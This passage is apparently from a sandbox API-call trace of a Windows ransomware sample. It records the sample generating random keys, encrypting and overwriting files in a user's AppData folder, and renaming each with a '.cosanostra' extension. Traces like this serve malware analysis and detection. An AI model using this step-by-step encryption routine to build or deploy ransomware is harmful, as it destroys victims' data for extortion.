"c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.322] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df558 | out: pbBuffer=0x28df558) returned 1 [0098.322] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df550*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df550*=0x30) returned 1 [0098.322] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_fCtOjJNDy.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_fctojjndy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.323] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_fCtOjJNDy.flv") returned 64 [0098.323] StrStrW (lpFirst="_fCtOjJNDy.flv", lpSrch=".txt") returned 0x0 [0098.324] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.324] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df514, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df514*=0x2800, lpOverlapped=0x0) returned 1 [0098.324] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.324] WriteFile (in: hFile=0x160, lpBuffer=0x28df554*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df514, lpOverlapped=0x0 | out: lpBuffer=0x28df554*, lpNumberOfBytesWritten=0x28df514*=0x4, lpOverlapped=0x0) returned 1 [0098.324] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df514, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df514*=0x30, lpOverlapped=0x0) returned 1 [0098.324] CloseHandle (hObject=0x160) returned 1 [0098.324] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_fCtOjJNDy.flv.cosanostra") returned 75 [0098.324] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_fCtOjJNDy.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_fctojjndy.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_fCtOjJNDy.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_fctojjndy.flv.cosanostra")) returned 1 [0098.326] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df550 | out: pbBuffer=0x28df550) returned 1 [0098.326] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df548*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df548*=0x30) returned 1 [0098.326] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZV6iB8rqB.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zv6ib8rqb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZV6iB8rqB.pptx") returned 64 [0098.326] StrStrW (lpFirst="ZV6iB8rqB.pptx", lpSrch=".txt") returned 0x0 [0098.327] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.327] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df50c*=0x2800, lpOverlapped=0x0) returned 1 [0098.327] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.328] WriteFile (in: hFile=0x160, lpBuffer=0x28df54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x28df54c*, lpNumberOfBytesWritten=0x28df50c*=0x4, lpOverlapped=0x0) returned 1 [0098.328] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df50c*=0x30, lpOverlapped=0x0) returned 1 [0098.328] CloseHandle (hObject=0x160) returned 1 [0098.328] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZV6iB8rqB.pptx.cosanostra") returned 75 [0098.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZV6iB8rqB.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zv6ib8rqb.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZV6iB8rqB.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zv6ib8rqb.pptx.cosanostra")) returned 1 [0098.329] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df550 | out: pbBuffer=0x28df550) returned 1 [0098.329] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df548*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df548*=0x30) returned 1 [0098.329] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZO6z7hL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zo6z7hl.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.330] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZO6z7hL.swf") returned 61 [0098.330] StrStrW (lpFirst="ZO6z7hL.swf", lpSrch=".txt") returned 0x0 [0098.331] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.331] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df50c*=0x2800, lpOverlapped=0x0) returned 1 [0098.331] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.331] WriteFile (in: hFile=0x160, lpBuffer=0x28df54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x28df54c*, lpNumberOfBytesWritten=0x28df50c*=0x4, lpOverlapped=0x0) returned 1 [0098.331] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df50c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df50c*=0x30, lpOverlapped=0x0) returned 1 [0098.331] CloseHandle (hObject=0x160) returned 1 [0098.331] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZO6z7hL.swf.cosanostra") returned 72 [0098.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZO6z7hL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zo6z7hl.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZO6z7hL.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zo6z7hl.swf.cosanostra")) returned 1 [0098.333] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df548 | out: pbBuffer=0x28df548) returned 1 [0098.333] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df540*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df540*=0x30) returned 1 [0098.333] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y_SjbED0iWdLK1Dmmq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y_sjbed0iwdlk1dmmq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.334] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y_SjbED0iWdLK1Dmmq.swf") returned 72 [0098.334] StrStrW (lpFirst="Y_SjbED0iWdLK1Dmmq.swf", lpSrch=".txt") returned 0x0 [0098.334] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.335] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df504*=0x2800, lpOverlapped=0x0) returned 1 [0098.335] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.335] WriteFile (in: hFile=0x160, lpBuffer=0x28df544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x28df544*, lpNumberOfBytesWritten=0x28df504*=0x4, lpOverlapped=0x0) returned 1 [0098.335] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df504*=0x30, lpOverlapped=0x0) returned 1 [0098.335] CloseHandle (hObject=0x160) returned 1 [0098.335] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y_SjbED0iWdLK1Dmmq.swf.cosanostra") returned 83 [0098.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y_SjbED0iWdLK1Dmmq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y_sjbed0iwdlk1dmmq.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y_SjbED0iWdLK1Dmmq.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y_sjbed0iwdlk1dmmq.swf.cosanostra")) returned 1 [0098.336] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df548 | out: pbBuffer=0x28df548) returned 1 [0098.336] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df540*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df540*=0x30) returned 1 [0098.337] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YGp80H6k6jG7y.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ygp80h6k6jg7y.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.337] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YGp80H6k6jG7y.bmp") returned 67 [0098.337] StrStrW (lpFirst="YGp80H6k6jG7y.bmp", lpSrch=".txt") returned 0x0 [0098.338] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.338] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df504*=0x2800, lpOverlapped=0x0) returned 1 [0098.338] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.338] WriteFile (in: hFile=0x160, lpBuffer=0x28df544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x28df544*, lpNumberOfBytesWritten=0x28df504*=0x4, lpOverlapped=0x0) returned 1 [0098.338] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df504, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df504*=0x30, lpOverlapped=0x0) returned 1 [0098.338] CloseHandle (hObject=0x160) returned 1 [0098.339] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YGp80H6k6jG7y.bmp.cosanostra") returned 78 [0098.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YGp80H6k6jG7y.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ygp80h6k6jg7y.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YGp80H6k6jG7y.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ygp80h6k6jg7y.bmp.cosanostra")) returned 1 [0098.340] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df540 | out: pbBuffer=0x28df540) returned 1 [0098.340] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df538*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df538*=0x30) returned 1 [0098.340] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XxpZuA8oGf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xxpzua8ogf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.340] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XxpZuA8oGf.png") returned 64 [0098.340] StrStrW (lpFirst="XxpZuA8oGf.png", lpSrch=".txt") returned 0x0 [0098.341] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.341] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4fc*=0x2800, lpOverlapped=0x0) returned 1 [0098.342] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.342] WriteFile (in: hFile=0x160, lpBuffer=0x28df53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x28df53c*, lpNumberOfBytesWritten=0x28df4fc*=0x4, lpOverlapped=0x0) returned 1 [0098.342] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4fc*=0x30, lpOverlapped=0x0) returned 1 [0098.342] CloseHandle (hObject=0x160) returned 1 [0098.342] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XxpZuA8oGf.png.cosanostra") returned 75 [0098.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XxpZuA8oGf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xxpzua8ogf.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XxpZuA8oGf.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xxpzua8ogf.png.cosanostra")) returned 1 [0098.343] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df540 | out: pbBuffer=0x28df540) returned 1 [0098.343] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df538*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df538*=0x30) returned 1 [0098.343] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XpYDd3dfzc iI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xpydd3dfzc ii.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.344] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XpYDd3dfzc iI.m4a") returned 67 [0098.344] StrStrW (lpFirst="XpYDd3dfzc iI.m4a", lpSrch=".txt") returned 0x0 [0098.345] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.345] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4fc*=0x2800, lpOverlapped=0x0) returned 1 [0098.345] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.345] WriteFile (in: hFile=0x160, lpBuffer=0x28df53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x28df53c*, lpNumberOfBytesWritten=0x28df4fc*=0x4, lpOverlapped=0x0) returned 1 [0098.345] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4fc*=0x30, lpOverlapped=0x0) returned 1 [0098.345] CloseHandle (hObject=0x160) returned 1 [0098.345] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XpYDd3dfzc iI.m4a.cosanostra") returned 78 [0098.345] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XpYDd3dfzc iI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xpydd3dfzc ii.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XpYDd3dfzc iI.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xpydd3dfzc ii.m4a.cosanostra")) returned 1 [0098.346] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df538 | out: pbBuffer=0x28df538) returned 1 [0098.346] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df530*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df530*=0x30) returned 1 [0098.346] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W oNd_n0q.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\w ond_n0q.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.347] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W oNd_n0q.pps") returned 63 [0098.347] StrStrW (lpFirst="W oNd_n0q.pps", lpSrch=".txt") returned 0x0 [0098.348] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.348] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4f4*=0x2800, lpOverlapped=0x0) returned 1 [0098.348] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.348] WriteFile (in: hFile=0x160, lpBuffer=0x28df534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x28df534*, lpNumberOfBytesWritten=0x28df4f4*=0x4, lpOverlapped=0x0) returned 1 [0098.349] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4f4*=0x30, lpOverlapped=0x0) returned 1 [0098.349] CloseHandle (hObject=0x160) returned 1 [0098.349] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W oNd_n0q.pps.cosanostra") returned 74 [0098.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W oNd_n0q.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\w ond_n0q.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W oNd_n0q.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\w ond_n0q.pps.cosanostra")) returned 1 [0098.350] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df538 | out: pbBuffer=0x28df538) returned 1 [0098.350] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df530*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df530*=0x30) returned 1 [0098.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vvEEynp j7.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vveeynp j7.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.350] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vvEEynp j7.ppt") returned 64 [0098.351] StrStrW (lpFirst="vvEEynp j7.ppt", lpSrch=".txt") returned 0x0 [0098.351] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.351] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4f4*=0x2800, lpOverlapped=0x0) returned 1 [0098.352] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.352] WriteFile (in: hFile=0x160, lpBuffer=0x28df534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x28df534*, lpNumberOfBytesWritten=0x28df4f4*=0x4, lpOverlapped=0x0) returned 1 [0098.352] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4f4*=0x30, lpOverlapped=0x0) returned 1 [0098.352] CloseHandle (hObject=0x160) returned 1 [0098.352] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vvEEynp j7.ppt.cosanostra") returned 75 [0098.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vvEEynp j7.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vveeynp j7.ppt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vvEEynp j7.ppt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vveeynp j7.ppt.cosanostra")) returned 1 [0098.353] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df530 | out: pbBuffer=0x28df530) returned 1 [0098.353] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df528*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df528*=0x30) returned 1 [0098.354] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 